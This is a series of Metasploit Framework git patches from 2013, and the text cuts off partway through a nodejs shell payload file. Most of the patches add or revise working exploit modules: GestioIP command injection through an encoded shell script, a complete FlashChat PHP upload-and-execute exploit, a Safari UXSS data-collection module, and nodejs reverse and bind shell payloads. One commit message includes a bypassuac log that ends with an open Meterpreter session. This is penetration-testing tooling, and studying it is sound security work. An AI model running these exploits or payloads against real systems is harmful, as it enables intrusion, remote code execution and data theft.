--- modules/exploits/multi/http/gestioip_exec.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 24cf47d293..ebed263e2a 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -17,7 +17,9 @@ class Metasploit4 < Msf::Exploit::Remote 'Name' => 'GestioIP Remote Command Execution', 'Description' => %q{ This module exploits a command injection flaw to create a shell script - on the FS and execute it. + on the filesystem and execute it. If GestioIP is configured to use no authentication, + no password is required to exploit the vulnerability. Otherwise, an authenticated + user is required to exploit. }, 'License' => MSF_LICENSE, 'Author' => @@ -44,8 +46,7 @@ class Metasploit4 < Msf::Exploit::Remote [ OptString.new('URI', [true, 'URI', '/gestioip/']), OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), - OptString.new('PASSWORD', [false, 'The password to auth with', 'password']), - OptBool.new('USE_AUTH', [true, 'Whether to attempt basic authentication or not', false]) + OptString.new('PASSWORD', [false, 'The password to auth with', nil]) ], self.class) end @@ -62,7 +63,7 @@ class Metasploit4 < Msf::Exploit::Remote end def use_auth - datastore['USE_AUTH'] + !(pass.nil? or pass.empty?) end def exploit From 9b79bb99e0a650b6d92d88945df7be1a4652209c Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 4 Oct 2013 09:59:26 -0500 Subject: [PATCH 120/210] Add references, correct disclosure date --- modules/exploits/multi/http/gestioip_exec.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index ebed263e2a..fb58947a81 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -28,6 +28,9 @@ class Metasploit4 < Msf::Exploit::Remote ], 'References' => [ + [ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch + [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/03/gestioip-authenticated-remote-command-execution-module' ] ], 'Payload' => { @@ -39,7 +42,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic GestioIP 3.0', { }]], 'Privileged' => false, - 'DisclosureDate' => 'Mar 3 2011', + 'DisclosureDate' => 'Oct 4 2013', 'DefaultTarget' => 0)) register_options( From 8e0a4e08a2264036f5a994f66b32c44756849e62 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 4 Oct 2013 12:25:38 -0500 Subject: [PATCH 121/210] Fix author order --- modules/exploits/unix/webapp/clipbucket_upload_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 0ef73509db..ee3aec9ed7 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -25,8 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'xistence <xistence[at]0x90.nl>', # Metasploit module - 'Gabby' # Vulnerability Discovery, PoC + 'Gabby', # Vulnerability Discovery, PoC + 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ From 113f89e40fcc911d9023f0ca1f9b9708a3c14193 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 4 Oct 2013 13:29:27 -0500 Subject: [PATCH 122/210] First set of fixes for gestioip_exec --- modules/exploits/multi/http/gestioip_exec.rb | 42 ++++++++++++-------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index fb58947a81..0dd83227ad 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -36,9 +36,9 @@ class Metasploit4 < Msf::Exploit::Remote { 'Space' => 475, # not a lot of room 'DisableNops' => true, - 'BadChars' => "#", + 'BadChars' => "", }, - 'Platform' => [ 'unix', 'win', 'linux' ], + 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic GestioIP 3.0', { }]], 'Privileged' => false, @@ -47,16 +47,12 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ - OptString.new('URI', [true, 'URI', '/gestioip/']), + OptString.new('TARGETURI', [true, 'URI', '/gestioip/']), OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), OptString.new('PASSWORD', [false, 'The password to auth with', nil]) ], self.class) end - def uri - datastore['URI'] - end - def user datastore['USERNAME'] end @@ -70,16 +66,30 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit - headers = {} - if use_auth - headers['Authorization'] = "Basic " + Rex::Text.encode_base64("#{user}:#{pass}") - end pay = Rex::Text.encode_base64(payload.encoded) - file = Rex::Text.rand_text_alpha(8); - send_request_cgi({ - 'uri' => uri+"ip_checkhost.cgi?ip=2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004&hostname=fsd&client_id=1&ip_version=", - 'headers' => headers - }) + file = Rex::Text.rand_text_alpha(8) + + options = { + 'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"), + 'encode_params' => false, + 'vars_get' => { + 'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004", + 'hostname' => "fds", + 'client_id' => "1", + 'ip_version' => "" + } + } + + if use_auth + options.merge!('authorization' => basic_auth(user,pass)) + end + + res = send_request_cgi(options) + + if res and res.code == 401 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD") + end + end end From 5f4e4de267b37ddb159918212c5169cb034874df Mon Sep 17 00:00:00 2001 From: ZeroChaos <sidhayn@gmail.com> Date: Fri, 4 Oct 2013 15:58:47 -0400 Subject: [PATCH 123/210] fix for bug 8456 On systems without bundled johntheripper (either by removing the bundled version or by no compatible version shipped) the system john is used. In this case, all of the checking for compatible bundled jtr makes no sense and as such we can shortcut out of this to not only reduce the size of msf (for embedded) but also to speed execution (saving multiple calls to some random bundled binary cpuinfo*.bin). This patch makes it very easy to simply remove cpuinfo and msf will not try to run it when missing and default to running john from the path. --- lib/msf/core/auxiliary/jtr.rb | 64 ++++++++++++++++++----------------- 1 file changed, 33 insertions(+), 31 deletions(-) diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index 6b9ddb322b..6a9c598459 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -41,38 +41,40 @@ module Auxiliary::JohnTheRipper cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo") return @run_path if @run_path - case ::RUBY_PLATFORM - when /mingw|cygwin|mswin/ - data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil - case data - when /sse2/ - @run_path ||= "run.win32.sse2/john.exe" - when /mmx/ - @run_path ||= "run.win32.mmx/john.exe" - else - @run_path ||= "run.win32.any/john.exe" - end + if File.directory?(cpuinfo_base) + case ::RUBY_PLATFORM + when /mingw|cygwin|mswin/ + data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil + case data + when /sse2/ + @run_path ||= "run.win32.sse2/john.exe" + when /mmx/ + @run_path ||= "run.win32.mmx/john.exe" + else + @run_path ||= "run.win32.any/john.exe" + end - when /x86_64-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil - case data - when /mmx/ - @run_path ||= "run.linux.x64.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - - when /i[\d]86-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil - case data - when /sse2/ - @run_path ||= "run.linux.x86.sse2/john" - when /mmx/ - @run_path ||= "run.linux.x86.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" + when /x86_64-linux/ + ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil + data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil + case data + when /mmx/ + @run_path ||= "run.linux.x64.mmx/john" + else + @run_path ||= "run.linux.x86.any/john" + end + + when /i[\d]86-linux/ + ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil + data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil + case data + when /sse2/ + @run_path ||= "run.linux.x86.sse2/john" + when /mmx/ + @run_path ||= "run.linux.x86.mmx/john" + else + @run_path ||= "run.linux.x86.any/john" + end end end @run_path From 77cbb7cd1905ad3a3d1b189d0dfdbf44487d46bf Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 4 Oct 2013 15:18:27 -0500 Subject: [PATCH 124/210] Update function documentation --- lib/rex/exploitation/ropdb.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index 182d6df910..c97091f88c 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -29,7 +29,7 @@ class RopDb # # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size, - # and :size_negate. + # :unsafe_negate_size, and :safe_negate_size # Note if no RoP is found, it returns an empry array. # Arguments: # rop_name - name of the ROP chain. From 813013fef525e774180bfbf329734c5ae28264f5 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Fri, 4 Oct 2013 15:53:16 -0500 Subject: [PATCH 125/210] Make defaults sane for the lockoutable smb_login See #2376 --- modules/auxiliary/scanner/smb/smb_login.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index b987c49eea..f7c49afa3c 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -39,9 +39,14 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '1999-0506'], # Weak password - ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'DB_ALL_CREDS' => false, + 'BLANK_PASSWORDS' => false, + 'USER_AS_PASS' => false + } ) deregister_options('RHOST','USERNAME','PASSWORD') From 836ff249981303207c84d19e021f142228453930 Mon Sep 17 00:00:00 2001 From: Markus Wulftange <markus.wulftange@gmail.com> Date: Sat, 5 Oct 2013 10:39:55 +0200 Subject: [PATCH 126/210] Clean and fix CmdStagerPrintf Clean up of the CmdStagerPrintf as discussed in mwulftange#1 --- lib/msf/core/exploit/cmdstager_printf.rb | 4 +++- lib/rex/exploitation/cmdstager/printf.rb | 21 ++++++++++++++------- 2 files changed, 17 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb index d3749d3f42..faad1f9d2a 100755 --- a/lib/msf/core/exploit/cmdstager_printf.rb +++ b/lib/msf/core/exploit/cmdstager_printf.rb @@ -1,3 +1,5 @@ +# -*- coding: binary -*- + require 'msf/core/exploit/cmdstager' module Msf @@ -22,4 +24,4 @@ module Exploit::CmdStagerPrintf end end -end \ No newline at end of file +end diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index 9ff26e23b6..0a61ed0117 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -35,6 +35,11 @@ class CmdStagerPrintf < CmdStagerBase @cmd_end = "'>>#{@tempdir}#{@var_elf}" xtra_len = @cmd_start.length + @cmd_end.length + 1 opts.merge!({ :extra => xtra_len }) + + if opts[:extra]+4 > opts[:linemax] + raise RuntimeError, "Not enough space for command - #{opts[:extra]+4} byte required, #{opts[:linemax]} byte available" + end + super end @@ -49,20 +54,22 @@ class CmdStagerPrintf < CmdStagerBase # Override it to ensure that the octal representation of a byte isn't cut # def slice_up_payload(encoded, opts) - tmp = encoded.dup + encoded_dup = encoded.dup parts = [] xtra_len = opts[:extra] xtra_len ||= 0 - while (tmp.length > 0) - part = tmp.slice(0, (opts[:linemax] - xtra_len)) + while (encoded_dup.length > 0) + temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # remove the last octal escape if it may be imcomplete - pos = part[-4, 4].index('\\') - part.slice!(0, part.length - 4 + pos) if pos > 0 + pos = temp.rindex('\\') + if encoded_dup.length > temp.length and pos > temp.length-4 + temp.slice!(pos..temp.length-1) + end - parts << part - tmp.slice!(0, part.length) + parts << temp + encoded_dup.slice!(0, temp.length) end parts From 08243b277afd5452ad90e90d8641a95180258bb3 Mon Sep 17 00:00:00 2001 From: bcoles <bcoles@gmail.com> Date: Sat, 5 Oct 2013 22:30:38 +0930 Subject: [PATCH 127/210] Add FlashChat Arbitrary File Upload exploit module --- .../unix/webapp/flashchat_upload_exec.rb | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 modules/exploits/unix/webapp/flashchat_upload_exec.rb diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb new file mode 100644 index 0000000000..86fc173942 --- /dev/null +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -0,0 +1,142 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "FlashChat Arbitrary File Upload", + 'Description' => %q{ + This module exploits a file upload vulnerability found in FlashChat + versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload + feature in order to upload malicious PHP files without authentication + which results in arbitrary remote code execution as the web server user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'x-hayben21', # Discovery and PoC + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'References' => + [ + ['EDB', '28709'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested on FlashChat version 6.0.8 + [ 'Generic (PHP Payload)', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 04 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/']) + ], self.class) + end + + # + # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8 + # + def check + uri = normalize_uri(target_uri.path, '') + res = send_request_raw({'uri' => uri}) + + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + end + + version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || '' + + if not version.empty? + print_status("#{peer} - Version found: #{version}") + if version =~ /6\.0\.(2|4|5|6|7|8)/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Unknown + end + + + # + # Uploads our malicious file + # Stolen from havalite_upload_exec.rb + # + def upload(base) + fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" + php = %Q|<?php #{payload.encoded} ?>| + data = Rex::MIME::Message.new + data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") + post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'upload.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + + if not res + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") + elsif res.code.to_i == 404 + fail_with(Failure::NotFound, "#{peer} - No upload.php found") + elsif res.code.to_i == 500 + fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") + end + + return fname + end + + + # + # Executes our uploaded malicious file + # Stolen from havalite_upload_exec.rb + # + def exec(base, payload_fname) + res = send_request_raw({ + 'uri' => normalize_uri(base, 'temp', payload_fname) + }) + + if res and res.code == 404 + fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") + end + end + + def exploit + base = target_uri.path + + # upload + print_status("#{peer} - Uploading malicious file...") + fname = upload(base) + + # exec + print_status("#{peer} - Executing #{fname}...") + exec(base, fname) + + # clean + register_files_for_cleanup(fname) + end +end From 24efb55ba955daa27059cd74bfc83761b8eb0255 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Sat, 5 Oct 2013 14:50:51 -0500 Subject: [PATCH 128/210] Clean flashchat_upload_exec --- .../unix/webapp/flashchat_upload_exec.rb | 30 +++++++++++-------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 86fc173942..333cd7fa08 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -68,16 +68,20 @@ class Metasploit3 < Msf::Exploit::Remote version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || '' - if not version.empty? - print_status("#{peer} - Version found: #{version}") - if version =~ /6\.0\.(2|4|5|6|7|8)/ - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Detected - end + if version.empty? + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version found: #{version}") + + if version =~ /6\.0\.(2|4|5|6|7|8)/ + return Exploit::CheckCode::Vulnerable + elsif version <= "6.0.8" + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe end - Exploit::CheckCode::Unknown end @@ -87,10 +91,10 @@ class Metasploit3 < Msf::Exploit::Remote # def upload(base) fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" - php = %Q|<?php #{payload.encoded} ?>| + php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") - post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', @@ -132,11 +136,11 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading malicious file...") fname = upload(base) + # register the file to clean + register_files_for_cleanup(fname) + # exec print_status("#{peer} - Executing #{fname}...") exec(base, fname) - - # clean - register_files_for_cleanup(fname) end end From 0799766faae8e9ea31619cc552fe1939013723d8 Mon Sep 17 00:00:00 2001 From: trustedsec <davek@trustedsec.com> Date: Sat, 5 Oct 2013 15:56:55 -0400 Subject: [PATCH 129/210] Fix UAC is not enabled, no reason to run module when UAC is enabled and vulnerable The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is: Here is prior to the change on a fully patched Windows 8 machine: msf exploit(bypassuac) > exploit [*] Started reverse handler on 172.16.21.156:4444 [*] UAC is Enabled, checking level... [-] UAC is not enabled, no reason to run module [-] Run exploit/windows/local/ask to elevate msf exploit(bypassuac) > Here's the module when running with the most recent changes that are being proposed: [*] Started reverse handler on 172.16.21.156:4444 [*] UAC is Enabled, checking level... [!] Could not determine UAC level - attempting anyways... [*] Checking admin status... [+] Part of Administrators group! Continuing... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Uploaded the agent to the filesystem.... [*] Sending stage (770048 bytes) to 172.16.21.128 [*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400 meterpreter > With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works. --- modules/exploits/windows/local/bypassuac.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 93b5676aa1..d72685fafc 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -81,9 +81,7 @@ class Metasploit3 < Msf::Exploit::Local print_good "UAC is set to Default" print_good "BypassUAC can bypass this setting, continuing..." when 0 - print_error "UAC is not enabled, no reason to run module" - print_error "Run exploit/windows/local/ask to elevate" - return + print_warning "Could not determine UAC level - attempting anyways..." end # Check if you are an admin From c2a81907ba3d75414fd59834a0697d802b39b9eb Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 6 Oct 2013 19:28:16 -0500 Subject: [PATCH 130/210] Clean up the way Apple Safari UXSS aux module does data collection. [FIXRM #7918] --- .../gather/apple_safari_webarchive_uxss.rb | 43 +++++++++++++++---- 1 file changed, 34 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 2764218f80..0f4e2e6398 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report # [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS attr_accessor :scripts_to_poison @@ -177,17 +178,39 @@ class Metasploit3 < Msf::Auxiliary def on_request_uri(cli, request) begin - data = if request.body.size > 0 + data_str = if request.body.size > 0 request.body else request.qstring['data'] end - data = JSON::parse(data || '') - print_status "Received data: #{data}" - rescue # json error, dismiss request & keep crit. server up + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + print_error "Invalid JSON received: #{data_str}" + send_not_found(cli) end end + # @param [Hash] data the data to store in the log + # @return [String] filename where we are storing the data + def record_data(data, cli) + @client_cache ||= Hash.new({}) + @client_cache[cli.peerhost]['file'] ||= store_loot( + "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + ) + file = @client_cache[cli.peerhost]['file'] + + @client_cache[cli.peerhost]['data'] ||= [] + @client_cache[cli.peerhost]['data'].push(data) + data_str = JSON.generate(@client_cache[cli.peerhost]['data']) + + File.write(file, data_str) + + file + end + ### ASSEMBLE THE WEBARCHIVE XML ### # @return [String] contents of webarchive as an XML document @@ -531,9 +554,12 @@ class Metasploit3 < Msf::Auxiliary var sent = false; req.open('GET', '#{url}', true); req.onreadystatechange = function() { - if (!sent) { - sendData('response_headers', req.getAllResponseHeaders()); - sendData('response_body', req.responseText); + if (req.readyState==4 && !sent) { + debugger; + sendData('#{url}', { + response_headers: req.getAllResponseHeaders(), + response_body: req.responseText + }); sent = true; } }; @@ -647,8 +673,7 @@ class Metasploit3 < Msf::Auxiliary %Q| window.sendData = function(key, val) { var data = {}; - if (key && val) data[key] = val; - if (!val) data = key; + data[key] = val; window.top.postMessage(JSON.stringify(data), "*") }; | From 47e7a2de83191248cba4e66ef7e5fef9d4bce5b6 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 6 Oct 2013 19:32:22 -0500 Subject: [PATCH 131/210] Kill stray debugger statement. --- modules/auxiliary/gather/apple_safari_webarchive_uxss.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 0f4e2e6398..9d8035dc8c 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -555,7 +555,6 @@ class Metasploit3 < Msf::Auxiliary req.open('GET', '#{url}', true); req.onreadystatechange = function() { if (req.readyState==4 && !sent) { - debugger; sendData('#{url}', { response_headers: req.getAllResponseHeaders(), response_body: req.responseText From da48565093e04b418aef9dff9a42a4ed1a5f8036 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Mon, 7 Oct 2013 06:09:21 -0500 Subject: [PATCH 132/210] Add more payloads for nodejs. * Adds a reverse and bind CMD payload * Adds a bind payload (no bind_ssl for now). --- .../payloads/singles/cmd/unix/bind_nodejs.rb | 43 ++++++++++++ .../singles/cmd/unix/reverse_nodejs.rb | 43 ++++++++++++ .../payloads/singles/nodejs/shell_bind_tcp.rb | 68 +++++++++++++++++++ 3 files changed, 154 insertions(+) create mode 100644 modules/payloads/singles/cmd/unix/bind_nodejs.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_nodejs.rb create mode 100644 modules/payloads/singles/nodejs/shell_bind_tcp.rb diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb new file mode 100644 index 0000000000..48a017842c --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -0,0 +1,43 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind TCP (via nodejs)', + 'Description' => 'Continually listen for a connection and spawn a command shell via nodejs', + 'Author' => 'joev', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'node', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + super + command_string + end + + def command_string + payload = framework.payloads.create('nodejs/shell_bind_tcp') + payload.datastore.merge! datastore + "node -e 'eval(\"#{Rex::Text.to_hex(payload.generate, "\\x")}\");'" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb new file mode 100644 index 0000000000..3fcf712ef7 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -0,0 +1,43 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (via nodejs)', + 'Description' => 'Continually listen for a connection and spawn a command shell via nodejs', + 'Author' => 'joev', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'node', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + super + command_string + end + + def command_string + payload = framework.payloads.create('nodejs/shell_reverse_tcp') + payload.datastore.merge! datastore + "node -e 'eval(\"#{Rex::Text.to_hex(payload.generate, "\\x")}\");'" + end +end diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb new file mode 100644 index 0000000000..842392c357 --- /dev/null +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -0,0 +1,68 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +# It would be better to have a commonjs payload, but because the implementations +# differ so greatly when it comes to require() paths for net modules, we will +# settle for just getting shells on nodejs. + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Bind TCP (via nodejs)', + 'Description' => 'Creates an interactive shell via nodejs', + 'Author' => ['joev'], + 'License' => BSD_LICENSE, + 'Platform' => 'nodejs', + 'Arch' => ARCH_NODEJS, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 